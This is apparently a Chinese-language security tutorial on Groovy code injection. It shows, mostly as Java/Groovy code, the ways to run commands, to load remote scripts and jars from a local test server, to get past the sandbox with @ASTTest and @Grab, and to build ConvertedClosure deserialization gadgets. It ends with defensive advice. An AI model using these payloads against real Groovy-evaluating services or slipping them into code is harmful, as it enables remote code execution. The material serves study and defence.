Java安全-Groovy
字数 1337 2025-08-24 23:51:18

Groovy代码注入与安全研究

1. Groovy简介

Groovy是Apache旗下的一种基于JVM的面向对象编程语言,具有以下特点:

  • 既可以用于面向对象编程,也可以用作纯粹的脚本语言
  • 吸纳了Python、Ruby和Smalltalk语言的优秀特性
  • 支持动态类型转换、闭包和元编程
  • 与Java可以很好的互相调用并结合编程
  • 语法比Java更加灵活和简洁

主要特性:

  • 同时支持静态和动态类型
  • 支持运算符重载
  • 本地语法列表和关联数组
  • 对正则表达式的本地支持
  • 各种标记语言(如XML和HTML)原生支持
  • 可以使用现有的Java库
  • 扩展了java.lang.Object

2. Groovy代码执行方式

2.1 基本命令执行

Groovy可以直接执行Java代码,也可以使用自己的语法:

// Java方式
Runtime.getRuntime().exec("calc")

// Groovy方式
"whoami".execute()

// 带回显的执行
println "whoami".execute().text

// 支持字符串插值
"${"whoami".execute().text}"

2.2 MethodClosure

MethodClosure是一个方法闭包,可以用来代替对象的某个方法:

import org.codehaus.groovy.runtime.MethodClosure;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        // 调用Runtime的exec方法
        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
        mc.call("calc");
        
        // 调用String的execute方法
        MethodClosure mc = new MethodClosure("calc", "execute");
        mc.call();
    }
}

2.3 GroovyShell

GroovyShell类主要提供三种方法执行Groovy代码:

  • evaluate
  • run
  • parse

示例代码:

import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import java.io.File;
import java.net.URI;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        GroovyShell groovyShell = new GroovyShell();
        String cmd = "\"whoami\".execute().text";
        
        // 从字符串执行
        System.out.println(groovyShell.evaluate(cmd));
        
        // 从文件执行
        File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
        System.out.println(groovyShell.evaluate(file));
        
        // 从URL执行
        URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
        System.out.println(groovyShell.evaluate(uri));
        
        // 通过GroovyCodeSource执行
        GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd, "", "");
        GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
        System.out.println(groovyShell.evaluate(groovyCodeSource1));
    }
}

2.4 GroovyScriptEngine

GroovyScriptEngine可以从指定位置(文件夹、URL或Resource)获取脚本来执行:

import groovy.util.GroovyScriptEngine;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        // 从本地目录执行
        GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
        scriptEngine.run("TestGroovyScipt.groovy","");
        
        // 从URL执行
        GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
        scriptEngine1.run("exp.groovy", "");
    }
}

2.5 GroovyScriptEvaluator

GroovyScriptEvaluator的evaluate方法可以执行Groovy代码:

import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
        
        // 从字符串执行
        ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
        System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
        
        // 从文件执行
        FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
        ScriptSource source = new ResourceScriptSource(fileSystemResource);
        System.out.println(groovyScriptEvaluator.evaluate(source));
        
        // 从URL执行
        Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
        ScriptSource source = new ResourceScriptSource(urlResource);
        System.out.println(groovyScriptEvaluator.evaluate(source));
    }
}

2.6 GroovyClassLoader

GroovyClassLoader用于在Java中加载Groovy类并调用:

import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        // 从URL加载类
        GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
        Class clazz = classLoader.loadClass("exp");
        
        // 从文件解析类
        GroovyClassLoader classLoader = new GroovyClassLoader();
        Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
        
        // 从字符串解析类
        Class clazz = classLoader.parseClass(
            "class Test {\n" +
            "    static void main(String[] args) {\n" +
            "        GroovyShell groovyShell = new GroovyShell()\n" +
            "        String cmd = \"\\\"whoami\\\".execute().text\"\n" +
            "        println(groovyShell.evaluate(cmd).toString())\n" +
            "    }\n" +
            "}\n"
        );
        
        GroovyObject object = (GroovyObject) clazz.newInstance();
        object.invokeMethod("main", "");
    }
}

2.7 ScriptEngine

使用javax.script.ScriptEngine执行Groovy脚本:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
        System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
    }
}

3. 沙箱绕过技术

3.1 @AST注解执行断言

this.class.classLoader.parseClass('''
    @groovy.transform.ASTTest(value={ 
        assert Runtime.getRuntime().exec("calc") 
    })
    def x
''')

3.2 @Grab注解添加恶意依赖

需要添加ivy依赖:

<dependency>
    <groupId>org.apache.ivy</groupId>
    <artifactId>ivy</artifactId>
    <version>2.4.0</version>
</dependency>

利用代码:

this.class.classLoader.parseClass('''
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name = "PoC", root = "http://127.0.0.1:8888/")
    @Grab(group = "PoC", module = "EvilJar", version = "0.1")
    import PoC
''');

工作机制:

  1. 会从服务器的PoC/EvilJar/0.1/目录下载EvilJar-0.1.jar文件
  2. 默认存储在~/.groovy/grapes目录下
  3. 导入的jar包会先经过两种处理:
    • processCategroyMethods:用来注册扩展方法
    • processOtherServices:用来发现并处理其他服务

4. Groovy反序列化

4.1 基本利用方式

Groovy中的闭包可以被序列化,MethodClosure的call方法可以用来执行命令。关键类:

  • org.codehaus.groovy.runtime.ConvertedClosure:通用适配器,用于将Java接口调用映射到给定的委托(闭包)
  • 继承关系:ConvertedClosure → ConversionHandler → InvocationHandler

利用代码:

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
        ConvertedClosure convertedClosure = new ConvertedClosure(mc, "get");
        
        Map map = (Map) Proxy.newProxyInstance(
            Groovy1.class.getClassLoader(),
            new Class[]{Map.class},
            convertedClosure
        );
        
        map.get("calc");
    }
}

4.2 优先队列利用链

利用优先队列反序列化时会对元素进行比较的特性:

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
        ConvertedClosure convertedClosure = new ConvertedClosure(mc, "compareTo");
        
        Comparable comparator = (Comparable) Proxy.newProxyInstance(
            Groovy1.class.getClassLoader(),
            new Class[]{Comparable.class},
            convertedClosure
        );
        
        comparator.compareTo("calc");
    }
}

4.3 无参数方法触发

代理无参数方法触发命令执行:

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;

public class Groovy1 {
    public static void main(String[] args) throws Exception {
        MethodClosure mc = new MethodClosure("calc", "execute");
        ConvertedClosure convertedClosure = new ConvertedClosure(mc, "entrySet");
        
        Map map = (Map) Proxy.newProxyInstance(
            Groovy1.class.getClassLoader(),
            new Class[]{Map.class},
            convertedClosure
        );
        
        map.entrySet();
    }
}

5. 防御建议

  1. 避免直接执行用户输入的Groovy代码
  2. 使用Groovy沙箱限制脚本执行权限
  3. 对反序列化操作进行严格控制
  4. 及时更新Groovy和相关依赖库到最新版本
  5. 对网络请求进行严格过滤,防止加载远程恶意脚本
Groovy代码注入与安全研究 1. Groovy简介 Groovy是Apache旗下的一种基于JVM的面向对象编程语言,具有以下特点: 既可以用于面向对象编程,也可以用作纯粹的脚本语言 吸纳了Python、Ruby和Smalltalk语言的优秀特性 支持动态类型转换、闭包和元编程 与Java可以很好的互相调用并结合编程 语法比Java更加灵活和简洁 主要特性: 同时支持静态和动态类型 支持运算符重载 本地语法列表和关联数组 对正则表达式的本地支持 各种标记语言(如XML和HTML)原生支持 可以使用现有的Java库 扩展了java.lang.Object 2. Groovy代码执行方式 2.1 基本命令执行 Groovy可以直接执行Java代码,也可以使用自己的语法: 2.2 MethodClosure MethodClosure是一个方法闭包,可以用来代替对象的某个方法: 2.3 GroovyShell GroovyShell类主要提供三种方法执行Groovy代码: evaluate run parse 示例代码: 2.4 GroovyScriptEngine GroovyScriptEngine可以从指定位置(文件夹、URL或Resource)获取脚本来执行: 2.5 GroovyScriptEvaluator GroovyScriptEvaluator的evaluate方法可以执行Groovy代码: 2.6 GroovyClassLoader GroovyClassLoader用于在Java中加载Groovy类并调用: 2.7 ScriptEngine 使用javax.script.ScriptEngine执行Groovy脚本: 3. 沙箱绕过技术 3.1 @AST注解执行断言 3.2 @Grab注解添加恶意依赖 需要添加ivy依赖: 利用代码: 工作机制: 会从服务器的PoC/EvilJar/0.1/目录下载EvilJar-0.1.jar文件 默认存储在~/.groovy/grapes目录下 导入的jar包会先经过两种处理: processCategroyMethods:用来注册扩展方法 processOtherServices:用来发现并处理其他服务 4. Groovy反序列化 4.1 基本利用方式 Groovy中的闭包可以被序列化,MethodClosure的call方法可以用来执行命令。关键类: org.codehaus.groovy.runtime.ConvertedClosure :通用适配器,用于将Java接口调用映射到给定的委托(闭包) 继承关系:ConvertedClosure → ConversionHandler → InvocationHandler 利用代码: 4.2 优先队列利用链 利用优先队列反序列化时会对元素进行比较的特性: 4.3 无参数方法触发 代理无参数方法触发命令执行: 5. 防御建议 避免直接执行用户输入的Groovy代码 使用Groovy沙箱限制脚本执行权限 对反序列化操作进行严格控制 及时更新Groovy和相关依赖库到最新版本 对网络请求进行严格过滤,防止加载远程恶意脚本